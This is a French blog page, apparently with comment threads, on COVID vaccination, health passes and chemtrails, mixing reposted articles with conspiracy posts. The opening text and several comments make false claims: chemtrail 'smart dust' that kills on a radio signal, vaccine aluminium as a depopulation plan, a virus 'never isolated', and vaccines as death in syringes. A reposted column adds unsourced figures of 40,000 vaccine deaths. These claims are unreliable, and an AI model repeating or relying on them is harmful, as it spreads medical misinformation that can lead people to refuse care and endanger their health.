Étonné que le monde ait autant de cons sur Terre ? Explications:
Depuis des décennies nous connaissons les chemtrails sans que les politichiens ou les merdias n'en parlent ! Çà alors ! Aujourd'hui, nous commençons seulement à comprendre ce qu'est une poussière intelligente. Elles ne sont pas des poussières inoffensives tombées du ciel et respirées par tous les humains, les animaux et les plantes, elles sont là pour quelque chose, ce quelque chose s'appelle l'expérience.
Par satellite l'on peut dès lors observer les cultures dans les champs et forcer des milliards de plantes à mourir selon leur variété spécifique !
Idem pour les centaines d'oiseaux morts retrouvés au sol ou centaine de poissons de la même espèce qui voguent sur les flots le ventre en l'air ou s'échouent sur les plages !
Aucune blessure décelée ! Empoisonnement zéro !
Mais alors ??
Nous savons que depuis 1927 de l'aluminium qui cause l'Alzheimer-Parkinson est ajouté à TOUS les vaccins !! Plus il y a de piqûre, plus il y a de cas d'Alzheimer-Parkinson. Et, de 80 ans, arrive à 70, puis 60, 50, 40, 30, etc !!!
C'est LE plan Dépopulation.
Aujourd'hui, les 'chemtrails' sont proposés en seringues. Si t'es piqué t'es mort !
"Ils vous tuent ! VOUS ÊTES SUR LA LISTE !" Ils s'enfoutent ! Ils haussent les épaules !
« De nombreuses vies sont détruites » par l'incapacité du gouvernement à reconnaître l'immunité naturelle, selon un médecin
RépondreSupprimerLe Dr Marty Makary, chercheur en santé publique à la Johns Hopkins Bloomberg School of Public Health, a accusé mardi des responsables gouvernementaux de pratiquer le « maccarthysme moderne » contre quiconque suggère que les jeunes en bonne santé, en particulier ceux qui se sont remis de COVID, n'ont pas besoin coups de rappel.
Défense de la santé des enfants
21 décembre 2021
Le Dr Marty Makary a accusé mardi les responsables de la santé publique de « maccarthysme moderne » et de publier des études qui ne méritent pas « une expérience scientifique de 7e année ».
Le chercheur en santé publique et professeur à la Johns Hopkins Bloomberg School of Public Health a déclaré aux membres du House Select Committee on the Coronavirus Crisis que certaines politiques COVID sont devenues «trop extrêmes, trop rigides et ne sont plus guidées par des données cliniques».
Makary s'est concentré sur l'immunité naturelle et les injections de rappel COVID pour les adolescents. Il a critiqué la précipitation des Centers for Disease Control and Prevention (CDC) à pousser les boosters pour les 16 et 17 ans sur la base d'expériences en laboratoire suggérant que les boosters augmentent les niveaux d'anticorps contre Omicron.
Les fabricants de vaccins ont annoncé les résultats des expériences sans divulguer aucune des données scientifiques sous-jacentes, a déclaré Makary.
« Est-ce ce à quoi nous sommes arrivés », a demandé Makary ? « Pharma nous dit quoi faire et le CDC s'aligne ? »
Makary a assuré aux membres du comité qu’il n’était pas « anti-vax » – il a été vacciné contre le COVID.
Mais il est un ardent partisan de reconnaître l'immunité naturelle et de ne pas obliger les personnes qui se sont remises de COVID – en particulier les jeunes – à se faire vacciner.
Ce point de vue a fait de lui la cible de critiques, a déclaré Makary.
"Nous avons un maccarthysme des temps modernes chaque fois que quelqu'un remet en question les injections de rappel COVID pour les enfants", a déclaré Makary.
RépondreSupprimerMakary a rappelé aux membres du comité que, malgré un budget annuel combiné d'environ 58 milliards de dollars, ni le CDC ni les National Institutes of Health n'ont produit d'études crédibles sur l'immunité naturelle au COVID – quelque chose que son équipe de recherche entreprend, en utilisant de l'argent privé.
Le CDC a publié deux études plus tôt cette année, affirmant que l'immunité vaccinale l'emporte sur l'immunité naturelle. Ces études étaient si imparfaites, de l'avis de Makary, qu'elles étaient "pires qu'une expérience scientifique en 7e année".
Makary a accusé le CDC d'avoir sciemment publié des études erronées afin que les gens obtiennent le vaccin, plutôt que d'attendre d'acquérir une immunité naturelle en obtenant et en se remettant du virus.
"De nombreuses vies sont détruites" par l'incapacité du gouvernement à reconnaître l'immunité naturelle, a déclaré Makary.
Regardez le témoignage de Makary (commence à 31:56):
- voir clip sur site -
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https://www.lewrockwell.com/2021/12/no_author/many-lives-being-destroyed-by-governments-failure-to-recognize-natural-immunity-physician-says/
Le pouvoir dans la seringue : une mauvaise pièce jouée pour le peuple français
RépondreSupprimerle 20/12/2021 à 17:00
"Quand on les attrape dans la rue"...
Alain Tranchant, pour FranceSoir
CHRONIQUE — L'Histoire, la petite évidemment, retiendra que du 15 au 18 décembre 2021, le peuple français aura eu droit à une étrange représentation de la part d'un pouvoir politique d'autant plus enfermé dans son dogmatisme qu'il voit la maîtrise de la situation lui échapper, et l'issue de la crise sanitaire s'éloigner. Au cours de ces journées, c'est une véritable escalade verbale qui a été orchestrée par les principaux protagonistes de cette mauvaise pièce jouée sur le forum.
À tout seigneur, tout honneur ! L'acte 1ᵉʳ se déroule au palais de l'Élysée le mercredi 15 décembre, la comédie du pouvoir ayant été enregistrée le dimanche précédent. Tenant salon, M. Macron laisse entendre à ses invités que la tentation du "vaccin pour tous" est bien présente dans son esprit. Mais, les interlocuteurs du président ne sont pas très curieux, et les téléspectateurs n'en sauront pas davantage.
Le père fouettard...
48 heures plus tard, acte 2 et changement de ton ! C'est le Premier ministre, et dans le genre père fouettard, qui paraît sur les écrans à l'issue d'un Conseil de défense tenu dans le plus grand secret, dans le saint des saints de la République française, rue du Faubourg Saint-Honoré. À l'hôtel de Matignon, le tonnerre gronde : "Près de six millions de personnes ne sont toujours pas vaccinées : ce n'est plus possible. Notre seule arme, c'est la vaccination, et la vaccination avec trois doses désormais", le rappel intervenant dès le 4ᵉ mois suivant la seconde injection.
Jean Castex - à lui les mauvaises nouvelles ! - traduit alors en langage décodé le discours crypté du chef de l'État : en janvier 2022, le passe sanitaire sera transformé en passeport vaccinal. Plus question de simples tests pour déroger à la vaccination ! Tout le monde à la piqure ! Parce qu'il n'est pas admissible que "quelques millions de Français mettent en risque la vie de tout un pays et entament le quotidien de l'immense majorité de Français qui a joué le jeu de la vaccination". "Jouer le jeu", curieuse formule au demeurant...
Pour être certain d'être bien compris, le locataire de Matignon répète à l'envi la ritournelle habituelle des services de soins saturés par les non-vaccinés, et parle d'une "vague omicron exponentielle, selon les prédictions des scientifiques". Pour passer le cap des fêtes de fin d'année, il faut répandre un climat anxiogène.
RépondreSupprimer"Quand on les attrape dans la rue"...
Acte 3 : samedi 18 décembre, avec l'intervention du dernier membre de la troïka, sur la radio d'information en continu du service public. Le ministre de la Santé en rajoute une couche pour être sûr que les Françaises et les Français, qui ne sont pas encore convertis au dieu "vaccin", assimilent réellement la nouvelle doctrine du gouvernement, à laquelle ils doivent adhérer au pas de course : "C'est simple, c'est clair, c'est limpide : nous voulons que les Français se fassent vacciner". Dans son élan, il lâche le morceau : "Le passe vaccinal est une forme déguisée d'obligation vaccinale, mais c'est plus efficace qu'une obligation vaccinale". Et, à l'attention des réfractaires, il a ces mots d'une belle élévation de pensée : c'est mieux que de "mettre une amende de 100 euros quand on les attrape dans la rue".
Enfin, comme si cela ne suffisait pas, il a fallu que le Conseil scientifique vienne faire entendre sa petite musique en fin d'après-midi, en déplorant l'insuffisance des mesures prises par le pouvoir politique - qu'il est présumé servir ! - pour limiter les festivités de Noël et, surtout, de Nouvel An. Dans le même temps, une chaîne de télévision donnait la parole à un professeur marseillais qui n'hésitait pas à proclamer qu'un "non-vacciné met en danger de mort les gens à côté".
Voilà où en est la communication du pouvoir macronien et de ses serviteurs zélés. C'est d'abord le matraquage et la menace de mort sociale. C'est aussi le déni de réalité. Car, le pouvoir a évidemment connaissance du fait que ledit vaccin n'empêche ni d'attraper la maladie, ni de la transmettre. Il fonctionne d'autant moins qu'il a été conçu pour traiter la souche initiale du virus de Wuhan, qui a disparu depuis belle lurette pour laisser davantage de place au variant Delta ! Pour le coup, c'est vraiment un coup de génie du Conseil scientifique d'avoir recommandé cette opération révolutionnaire de la troisième dose ! Ces messieurs savent très bien que l'injection n'est pas vraiment adaptée aux variants du virus en circulation. Comme ils savent, autant que le professeur Éric Chabrière, qu'actuellement, "deux personnes sur trois qui décèdent du Covid sont vaccinées", et que l'on a deux chances sur trois d'être contaminé par une personne vaccinée : ce sont, en effet, les chiffres officiels du ministère de la Santé qui nous l'apprennent... Un peu de sérieux, tout de même !
Une fuite en avant désespérée
RépondreSupprimerCes messieurs qui nous gouvernent en dépit du bon sens savent encore, comme le professeur de virologie Jean-Michel Claverie, qu'ils ont acheté "quelque chose qui ne marche pas : on n'a jamais vu un vaccin qui dure trois mois, et pour lequel il faut trois doses, peut-être quatre ou cinq". Ils n'ignorent pas, non plus, que le variant omicron a vu le jour en Afrique du Sud, et s'ils ne sont pas informés que l'Afrique du Sud n'a déploré que 35 morts le 17 décembre, et pas forcément du variant omicron, au lieu de près de 600 décès chaque jour en début d'année, alors il y a des relèves qui s'imposent dans les rangs gouvernementaux ! À titre de comparaison, le 18 décembre, la France enregistrait 85 décès Covid, la Suède aucun. Ceci pour l'hécatombe omicron !
Non, M. Macron ; non, M. Castex ; non, M. Véran ; ce n'est pas parce que votre pouvoir est "dans la seringue" (c'est bien le cas de le dire !), condamné à une fuite en avant désespérée, liée au fait que vous avez nié tout traitement de la maladie pour permettre la mise sur le marché de vos satanés vaccins, que vous devez répandre la peur et la terreur, et encore moins montrer du doigt six millions de personnes, et les menacer d'un statut officiel de "paria de la République française". À quand le signe de reconnaissance publique ?
40 000 morts et 200 000 effets indésirables dans le monde !
Quand ces Françaises et ces Français - qui sont des citoyens comme les autres, qui aiment la France autant que vous - mesurent l'échec de votre stratégie fondée sur la seule injection de produits en phase expérimentale (ce qui aurait dû vous interdire de tout miser sur cette solution) ; quand ces millions de nos compatriotes connaissent les effets indésirables graves, et même mortels, de ces prétendus "vaccins" (40 000 morts et plus de 200 000 effets indésirables dans le monde, suivant les chiffres fournis ces jours-ci par le médecin réanimateur Laurent Montesino sur TV Liberté) ; quand ils apprennent que la pandémie est terminée dans les pays qui n'ont pas "vacciné" leur population ; alors, oui, toutes ces Françaises et tous ces Français ont le droit de vous dire : "Un peu de respect, s'il vous plaît !". Car votre bilan n'est pas brillant, et ne vous autorise certainement pas à faire la leçon à six millions de personnes qui n'ont qu'une revendication : la liberté de disposer de leur propre corps, surtout pour une maladie qui ne ressemble en aucune façon à la peste ou au choléra !
Bilan peu flatteur, en effet, si on le compare à ceux de la Suède, et surtout des pays pauvres, dont la mortalité a été infiniment inférieure à celle de la France, et tant mieux pour eux ! Cela parce qu'ils ont fait une chose, une seule chose, une chose élémentaire. Figurez-vous qu'ils ont, tout bonnement, mis en œuvre l'alpha et l'oméga de la médecine, depuis l'aube des temps : prendre en charge et soigner les malades, avec les remèdes à leur disposition, ceux précisément dont vous avez interdit à la fois la prescription et la vente en France, par le plus grand des hasards sans aucun doute... Ces six millions de Françaises et de Français sont en droit de vous demander : pourquoi avez-vous supprimé 5 700 lits d'hôpitaux en une seule année, en pleine pandémie ? Et, où sont les 10 000 lits de réanimation promis par M. Macron ? Ils se font aussi un devoir de vous dire : rendez aux médecins la liberté de prescription que vous leur avez enlevée, et faites en sorte que leur Ordre les laisse travailler sereinement !
Sans doute le pouvoir a-t-il le monopole de la parole, puisque l'accès aux plateaux télévisés est très encadré. Mais il ne détient pas la vérité. Et, surtout, il devrait cesser de toute urgence de diviser le peuple français, de monter les Français les uns contre les autres, par des propos scandaleusement blessants et délibérément incendiaires.
RépondreSupprimerhttps://www.francesoir.fr/opinions-tribunes/le-pouvoir-dans-la-seringue
(...) "vaccin pour tous" (...)
SupprimerLa MORT pour tous !! Comment osent-ils ??!
Car: IL N'Y A PAS DE 'VACCIN' mais SEULEMENT une expérimentation génique d'essais !!
Le dit 'virus' n'a JAMAIS été isolé !!!
Ce qui veut dire qu'aux faux tests 'RT-PCR' apparaissent des milliers/millions de microbes et virus et que PERSONNE ne sait reconnaître qui que ce soit !!!
Et... il existerait un 'remède' contre ces inexistants !!!
Il s'agit de la mort en seringues.
(...) Dans le même temps, une chaîne de télévision donnait la parole à un professeur marseillais qui n'hésitait pas à proclamer qu'un "non-vacciné met en danger de mort les gens à côté". (...)
Qui çà ? QUI ?
(Les émissions dites 'en direct à la télé' sont des émissions enregistrées où les 'mots déplacés' sont effacés avant diffusion).
Pour bien comprendre: IL N'Y A PAS d'immunité contre une nano-poussière intelligente qui peut se modifier par signal reçu par une longueur d'onde adéquate.
L'ordre donné est celui de mourir.
Nouvelles que vous pouvez utiliser pour Noël: la carraghénane et la mousse d'Irlande dans les sprays nasaux ont réduit les infections à Covid de 80 %
RépondreSupprimerDecember 21st, 2021
Il y a plus de cent ans, les Irlandais croyaient qu'un extrait d'algue rouge pouvait guérir les vaches malades et les humains atteints de rhume et de grippe. En termes de traitement précoce, la science médicale moderne rattrape lentement les agriculteurs du 19ème siècle. Dans un petit essai cette année, les travailleurs médicaux étaient 80 % moins susceptibles d'attraper Covid s'ils utilisaient un spray nasal avec l'extrait de carraghénane « Irish Moss ». C'est seulement un cas de 2 sur 200 attrapant Covid dans le groupe test, contre 10 sur 200 dans le groupe placebo, donc le « 80 % » est un nombre caoutchouteux, mais c'était un essai contrôlé randomisé, et il y a d'autres les résultats des tests de laboratoire qui suggèrent que l'effet est réel.
Et parce que nous avons récemment découvert qu'il était utile contre le rhume et la grippe, des vaporisateurs nasaux contenant cet additif alimentaire courant et sans danger sont déjà en vente chez le chimiste. Vous pouvez donc entrer et en obtenir un avant les fêtes de Noël.
Le carraghénane ou « Irish Moss » est un gel polysaccharidique issu d'une algue rouge. Cela fonctionne en gommant les choses pour un certain nombre de virus – essentiellement en les gênant et en les piégeant dans le gel. L'idée est de le faire gicler dans le nez trois ou quatre fois par jour pour empêcher un virus d'entrer. Pas aussi amusant qu'un verre de champagne, mais plus amusant qu'un rhume.
Le carraghénane est un additif alimentaire, et il est si sûr qu'une personne de 70 kg pourrait en manger un demi-kilo par jour "sans effets indésirables". C'est donc plus sûr que le sel de table. Nous savons depuis les années 1980 que le carraghénane est utile en laboratoire contre les virus de la grippe, le coronavirus OC43, les rhinovirus et le virus coxsackie. C'est pourquoi il a été mis dans des sprays nasaux commerciaux. L'un ici en Australie s'appelle Flo Travel, destiné aux voyageurs assis dans les avions, mais il y en aura d'autres. Recherchez l'iota-Carraghénane dans les ingrédients.
En Irlande, son utilisation remonte à environ 400 après JC, mais dans des endroits comme la Chine, à environ 14 000 ans. Actuellement, la carraghénine est ajoutée comme épaississant à des choses comme les glaces.
Sérieusement, un spray nasal ?
RépondreSupprimerIl y a deux ans, j'aurais dit « conneries ». J'ai supposé qu'une giclée dans le nez n'arrêterait pas tous les virions et cela semblait être un exercice futile. Il suffit d'un virion pour franchir les portes et il fera 1000 bébés. Au moment où un virus pour bébé pénètre dans vos poumons, le spray nasal qui jaillit n'aura plus d'importance. Mais la vaste zone à l'arrière de votre nez et de votre bouche est souvent le premier endroit sur lequel un virus aéroporté s'accroche. Il y a quelque chose comme un mètre carré de surface derrière notre nez pour que les virus se défoulent :
La cavité nasale a un volume compris entre 15 et 19 ml et une surface macroscopique de 150 à 180 cm², cependant la présence de microstructures telles que des microvillosités sur les cellules cylindriques augmente considérablement cette surface à environ 96 000 cm²
— Robinson et al
Et si le spray de gel manque le premier virus, il peut toujours être là pour attraper beaucoup de virus pour bébés lorsqu'ils s'échappent de la cellule détournée. Cela signifie une forte réduction de la charge virale, ce qui signifie moins de chances que le virus pénètre dans vos poumons ou votre tube digestif, et moins de chances de l'expirer et d'infecter un ami. Cela signifie également que vous pouvez ralentir la phase exponentielle endémique et gagner du temps à votre système immunitaire pour trouver la bonne clé et fabriquer les bonnes armes. Dans la course aux armements de l'expansion exponentielle, le temps supplémentaire au départ est un gros avantage.
Le fond de ton nez est la nouvelle frontière
Anatomie de la tête avec nerf olfactif, y compris les étiquettes pour la cavité nasale, les nerfs olfactifs,
Patrick J. Lynch, illustrateur médical
Il ne s'agit pas seulement de sprays nasaux, il existe également des gargarismes de gorge, des lavages nasaux et toutes sortes de façons de tuer ou d'éliminer les virions au début. Les Docs en Espagne avec le taux de survie remarquable de 100 % utilisaient des lavages nasaux au bicarbonate. J'écrirai bientôt plus sur ces autres stratégies.
Donc, vaporisez avant les événements, vous êtes moins susceptible d’attraper Covid et de nombreux autres virus, et si vous attrapez quelque chose, cela réduira probablement encore la durée de votre maladie.
Apparemment, sucer des pastilles de carragelose pourrait aussi fonctionner.
RépondreSupprimerC'est juste un autre traitement précoce que notre ministre de la Santé a oublié de mentionner
La grande question est, comme toujours, nous avons clairement su que c'était une possibilité raisonnable depuis le tout début de l'épidémie de Covid, pourtant nous voilà, des milliards de dollars de confinements et cinq millions de morts plus tard, et le géant médical industriel complexe ne pensait pas que cela valait la peine d'être mentionné. Pas de campagnes de « sensibilisation », pas d'échantillons gratuits de chaque médecin généraliste. Pas de publicité gouvernementale, pas de spots d'information.
C'est encore un autre moyen bon marché et sûr de ralentir le virus, tout en ayant une vie plus normale.
Les personnes utilisant du carraghénane se sont améliorées plus rapidement.
Gel de carraghénane, Covid.
- voir graph sur site -
Autre bonus, non seulement il réduit la durée des rhumes longs, mais il en réduit également la récurrence.
Je ne savais pas que les rhumes récurrents étaient "une chose", mais apparemment, ils le sont. Avec le coronavirus du rhume, près de la moitié du groupe placebo a présenté des symptômes récurrents plus tard, mais avec le traitement à la carraghénane, seul un cinquième l'a fait.
Carraghénane, Covid, Rhume, coronavirus, spray nasal
https://www.ncbi.nlm.nih.gov/labs/pmc/articles/PMC8204093/pdf/PRP2-9-e00810.pdf
- voir graph sur site -
— Hemilä et al
Il y a une discussion intéressante sur le papier pré-imprimé Figeroa. Les deux cas positifs dans le groupe test étaient aux jours 2 et 5, ce qui signifie que le premier était probablement déjà infecté avant le début de l'essai.
h/t Old Ozzie, Krishna Gans
REFERENCES
Figueroa JM, Lombardo ME, Dogliotti A, et al. Efficacy of a nasal spray containing Iota-Carrageenan in the postexposure prophylaxis of COVID-19 in hospital personnel dedicated to patients care with COVID-19 disease. Int J Gen Med. 2021;14:6277-6286. doi:10.2147/IJGM.S328486
Morokutti-Kurz M, Graf P, Grassauer A, Prieschl-Grassauer E. (2020) SARS-CoV-2 in-vitro neutralization assay reveals inhibition of virus entry by iota-carrageenan. PLOS One. doi:10.1101/2020.07. 28.22473321.
Harri Hemilä, Elizabeth Chalker (2021) Carrageenan nasal spray may double the rate of recovery from coronavirus and influenza virus infections: Re-analysis of randomized trial data,. Pharmacol Res Perspect, 2021 Aug;9(4):e00810. doi: 10.1002/prp2.810.
Bar On et al (2020) SARS-CoV-2 (COVID-19) by the numbers, eLife. 2020; 9: e57309. Published online 2020 Apr 2. doi: 10.7554/eLife.57309
https://joannenova.com.au/2021/12/news-you-can-use-for-christmas-carrageenan-irish-moss-in-nasal-sprays-reduced-covid-infections-by-80/#more-80400
Pass sanitaire : Ces lieux protégés par la Constitution ! Le Parlement, comme d’autres lieux, bénéficient d’une protection constitutionnelle
RépondreSupprimerpar Aphadolie
20/12/2021
Un amendement visant à imposer le Pass sanitaire au sein de l’Assemblée nationale a été rejeté dans la nuit de mardi à mercredi.
- voir clip sur site -
L’amendement a été retoqué en commission, car il pourrait porter atteinte au principe constitutionnelle de « libre exercice du mandat parlementaire » d’après le président de l’Assemblée nationale Richard Ferrand.
Pass sanitaire : ces lieux « protégés » par la Constitution
À la question : « Connaissez-vous des personnes éligibles à la vaccination mais qui ne le sont pas ? », la députée Aurore Bergé a répondu ce jeudi au micro de France Info : « Malheureusement il y en a à l’Assemblée nationale ». Cette affirmation de l’élue LREM a suscité une vive interrogation chez les journalistes et semé le doute chez leurs auditeurs. Le Pass sanitaire ne serait donc pas obligatoire pour les députés lorsqu’ils exercent leurs fonctions au sein de l’Hémicycle ? Cette question a en réalité déjà été éclaircie en juillet dernier.
À cette période, la députée LREM Stéphanie Rist propose un amendement pour appliquer le Pass sanitaire à l’Assemblée nationale. Son argument est simple : il s’agit d’un « souci d’exemplarité ». « Il est normal que nous soyons également soumis aux mêmes règles que nos concitoyens. De plus, l’Assemblée nationale étant un lieu de brassage de centaines de personnes venant de régions différentes, c’est un lieu particulièrement sensible à la contamination. », argumentait alors Stéphanie Rist, ainsi qu’une cinquantaine d’autres députés en faveur de cet amendement.
Pourtant, la mesure ne voit pas le jour puisqu’elle n’est même pas présentée en séance publique. En cause, l’inconstitutionnalité de la mesure, qui empêcherait les députés d’effectuer librement leur travail parlementaire. À l’annonce de cet amendement, le président LREM de l’Assemblée, Richard Ferrand, mettait d’ailleurs en garde les députés à l’origine du texte : l’application du Pass sanitaire au Parlement ne pourra passer le contrôle du Conseil constitutionnel.
De fait, le « libre exercice du mandat parlementaire » est garanti par une décision des juges constitutionnels de 2008 qui s’appuie en partie sur l’article 6 de la Déclaration des droits de l’homme et du citoyen (DDHC) ainsi que les articles 26 et 27 de la Constitution. De fait, imposer la présentation d’un Pass sanitaire pour voter au sein de l’Assemblée nationale ou du Sénat reviendrait à violer ces droits constitutionnels et porterait donc atteinte à la démocratie.
RépondreSupprimerUn amendement déposé par des députés LaREM, visant à imposer le Pass sanitaire au Palais Bourbon, a été rejeté dans la nuit de mardi à mercredi, en amont de la discussion sur le projet de loi sanitaire. Pour Richard Ferrand, une telle mesure serait inconstitutionnelle.
Ce mercredi, le Pass sanitaire est devenu obligatoire pour entrer dans un certain nombre d’établissements recevant du public de plus de 50 personnes, lesquels sont détaillés dans un décret publié le 20 juillet. Parmi eux : les cinémas, les salles de spectacles, les bibliothèques ou encore les salles de conférences, les salles de jeux, les piscines et les navires. En revanche, les enceintes parlementaires, Sénat et Assemblée nationale, n’apparaissent pas dans cette liste.
À ce titre, une cinquantaine de députés de la majorité ont déposé en commission un amendement, à l’initiative de Stéphanie Rist (LaREM), visant à instaurer une obligation similaire pour les parlementaires qui se rendent au Palais Bourbon. « L’accès à l’Assemblée nationale peut également être subordonné à la présentation des documents […] sur décision du président de l’Assemblée nationale », formulait ce texte. Les auteurs invoquaient « un souci d’exemplarité » à l’égard de l’ensemble des Français, jugeant en outre que l’Assemblée nationale est « un lieu particulièrement sensible à la vaccination ».
Problème de constitutionnalité
- voir cadre sur site -
L’amendement a été retoqué en commission, dans la nuit de mardi à mercredi, à la veille de l’examen du projet de loi relatif à la crise sanitaire. Un rejet qui a valu de nombreuses critiques, certaines voix dénonçant une volonté des députés d’imposer à la population une mesure qu’ils refuseraient pour eux-mêmes.
Des critiques qui ont valu une réaction de la présidence de l’Assemblée nationale, laquelle a publié un communiqué mercredi matin. Pour le titulaire du Perchoir, Richard Ferrand, une telle mesure pourrait porter atteinte au principe de « libre exercice du mandat parlementaire », qui a été en effet rappelé par le Conseil constitutionnel. Par conséquent, un tel amendement pourrait être frappé d’inconstitutionnalité.
« La question était de savoir si le Pass sanitaire pouvait être imposé à l’Assemblée nationale », a précisé à LCI une source parlementaire. « Un amendement qui viserait à contraindre l’exercice du mandat parlementaire, voire de l’empêcher, serait inconstitutionnel. » En outre, a estimé la même source, « on parle bien de l’enceinte de l’Assemblée nationale, qui est un lieu de travail, pas une salle de cinéma ni une salle de spectacle ».
RépondreSupprimerLa présidence de l’Assemblée a toutefois assuré que la loi relative à la crise sanitaire sera « évidemment appliquée à l’Assemblée nationale, dans le respect des missions des parlementaires », sans préciser de quelles mesures il pourrait s’agir. Outre les parlementaires, le Palais Bourbon abrite plusieurs centaines d’agents, un lieu de restauration et accueille des visites guidées dans la limite de 50 participants. Il faut noter, en outre, que les députés seront soumis au Pass sanitaire dans les lieux où il est obligatoire, à l’instar de tous les Français
Un amendement de députés LREM visant à instaurer le Pass sanitaire au Palais Bourbon a été rejeté en commission. De quoi alimenter la suspicion et la colère des anti-pass.
Certains y voient un nouveau « deux poids deux mesures ». D’autres rétorquent « constitutionnalité ». Alors que la majorité peine à faire voter sereinement à l’Assemblée nationale le projet de loi prévoyant vaccination obligatoire des soignants et extension du Pass sanitaire en France, La République en marche doit faire face à une nouvelle polémique. Depuis mercredi, pour entrer dans un musée ou un cinéma, on doit présenter son Pass. Ce qui ne se fait pas sans réticences parfois. Et pour l’Assemblée nationale, où se côtoient chaque jour près de 1 351 fonctionnaires, 577 députés et plusieurs centaines de collaborateurs ? Une exemption pure et simple ?
Mercredi, une cinquantaine de parlementaires LREM, à l’initiative de la députée du Loiret Stéphanie Rist, déposaient un amendement, en commission, visant à instaurer un Pass sanitaires pour les élus voulant entrer dans l’enceinte du Palais Bourbon. Les auteurs du texte rappelaient : « L’Assemblée nationale étant un lieu de brassage de centaines de personnes venant de régions différentes, c’est un lieu particulièrement sensible à la contamination. » Ils estimaient que l’accès à la chambre basse pouvait « également être subordonné à la présentation des documents […] sur décision du président de l’Assemblée ». Au-delà de l’aspect sanitaire, se joue aussi une question d’exemplarité vis-à-vis des Français, les élus étant régulièrement taxés de privilégiés. Mais finalement, tard dans la nuit de mardi à mercredi, l’amendement est rejeté…
Il n’en fallait pas plus pour que les opposants au Pass sanitaire s’emparent de l’information, accusant les députés de s’exonérer de l’effort collectif réclamé aux Français. Du côté de la présidence de l’Assemblée, on évoque alors un problème constitutionnel. Pour son président Richard Ferrand, la mise en place d’une telle mesure pourrait effectivement porter atteinte au principe de « libre exercice du mandat parlementaire » de députés qui, faute de vaccination à jour ou de test négatif, seraient alors empêcher d’accéder à l’hémicycle.
RépondreSupprimerApparemment désireux de couper l’herbe sous le pied des militants anti-pass qui continuent de se mobiliser, Ferrand publie alors un communiqué dans la foulée. Sauf qu’il est passablement flou.
« Contrairement à des informations erronées qui circulent, la Présidence de l’Assemblée nationale rappelle que dès l’adoption de la loi relative à la gestion de la crise sanitaire, celle-ci sera évidemment appliquée à l’Assemblée nationale dans le respect des missions parlementaires », peut-on y lire.
On croit donc comprendre que le Pass sanitaire s’appliquera à l’ensemble des fonctionnaires et aux parlementaires mais uniquement dans les lieux qui ne sont pas nécessaires à l’exécution de leur mandat. Comme la buvette, entre autres. Il ne sera, en revanche, pas réclamé pour accéder à l’hémicycle ou dans les salles des commissions.
Côté extrême droite, les attaques n’ont pas tardé. « Richard Ferrand a refusé le Pass sanitaire pour accéder à l’Assemblée nationale. Eh oui, tout ça c’est pour les gueux ! » a réagi le président des Patriotes, Florian Philippot, qui participe à toutes les manifestations contre la vaccination obligatoire et le Pass depuis plusieurs jours. « Ferrand ne veut pas d’un Pass sanitaire à l’Assemblée nationale, comme si les députés, en plus de leur immunité parlementaire, avaient une immunité sanitaire ! Avec Ferrand, le virus est populaire, pas parlementaire ! » a de son côté réagi le député européen RN Gilbert Collard.
Quid du Sénat ?
Et du côté du Palais du Luxembourg ? Selon la présidence du Sénat, une éventuelle obligation de présenter un Pass sanitaire pour accéder au lieu « a été discutée », comme le rapporte Public Sénat. « Mais ce n’est pas du tout acté, on regarde comment ça marche ailleurs. On décidera dans les prochains jours », ajoute l’entourage de Gérard Larcher.
Source :
https://www.assemblee-nationale.fr/dyn/15/amendements/4386/CION_LOIS/CL529
https://www.publicsenat.fr/article/parlementaire/le-pass-sanitaire-sera-t-il-obligatoire-au-senat-190081
https://www.lefigaro.fr/actualite-france/passe-sanitaire-ces-lieux-proteges-par-la-constitution-20211021
https://www.conseil-constitutionnel.fr/publications/titre-vii/la-liberte-des-membres-du-parlement-dans-l-exercice-de-leur-mandat-versus-les-nouvelles-contraintes
https://www.liberation.fr/politique/le-pass-sanitaire-sera-bien-applique-a-lassemblee-sauf-pour-entrer-dans-lhemicycle-20210722_CFDWBBHRJJACBC3OQWQAKRQXTE/
Article :
V.M / LCI
Sacha Nelken / Libération [publié le 22 juillet 2021]
Jeanne Paturaud / Le Figaro [Publié le 21/10/2021]
https://aphadolie.com/2021/12/20/pass-sanitaire-ces-lieux-proteges-par-la-constitution-le-parlement-comme-dautres-lieux-beneficient-dune-protection-constitutionnelle/
Pourquoi des 'parlementaires' ou autres politiques ou candidat(e)s à la présidentielle aux micros ne parlent JAMAIS de ce que contiennent les seringues ?
SupprimerParce qu'ils ou elles soutiennent toutes & tous l'hégémonie programmée et appliquée !
Il ne fait pas bon être triplement vacciné ...
RépondreSupprimerpar Florence Pisani
mardi 21 décembre 2021
Le dernier bilan de la DREES1,paru en date du 17 décembre 2021, fait apparaître un chiffre peu encourageant pour le « booster » d’immunité anticovid tant vanté par le gouvernement français et les médias : alors que les « triple vax » ne représentent que 2 % du panel étudié par la DREES2, ils comptent pour 6 % des décès enregistrés durant la période allant du 8 novembre au 5 décembre. Soit un ratio égal à 3.
Même les non vaccinés parviennent selon les chiffres officiels à un ratio bien meilleur : ils sont 23 % des testés PCR positifs, et « seulement » 38 % des décès ; soit un ratio égal à 1,65.
Si vous êtes non vacciné et testé positif par PCR, vous avez donc presque deux fois plus de chances d’échapper à la mort par covid que si vous êtes triplement vacciné ...
2%, c’est ce que pèsent les vaccinés « boostés » par leur troisième dose dans le panel étudié par la DREES durant la période du 8 novembre au 5 décembre. Cela représente 7841 tests positifs3.
Sur ces 7841 tests positifs, 525 ont été hospitalisés en soins conventionnels ( 5 % des hospitalisations), 90 en soins critiques ( 3 % des soins critiques) ; et, donc, 83 sont décédés à l’hôpital (6 % des décès).
Sur un total de 698 « triple vax » passés par l’hôpital, 83 décédés induisent un taux de mortalité de 11,89 %.
Pour comparaison, les non vaccinés ont fait 90 177 tests positifs ; 4309 ont été hospitalisés en soins conventionnels (41 % des hospitalisations), 1561 sont allés en soins critiques (52 % des soins critiques), et 529 sont décédés à l’hôpital (38 % des décès).
Sur un total de 6399 « non vax » hospitalisés, 529 décès induisent un taux de mortalité de 8,27 %.
Si vous entrez à l’hôpital en étant triplement vacciné, vous avez donc 1,44 fois plus de risque de mourir que si vous êtes non vacciné.
Moralité : Restez non vacciné, ou, si vous êtes doublement vacciné, ne faites surtout pas la troisième dose !
Voilà … Ce que nous venons de faire est une statistique « à la DREES » : un pastiche de ce que cette administration nous inflige depuis plusieurs mois.
Comme la DREES, nous tirons ici des conclusions des chiffres en faisant comme si la catégorisation « vax » ou « non vax » se suffisait en elle-même, comme si elle devait occulter les caractéristiques des personnes incluses dans le panel d’étude.
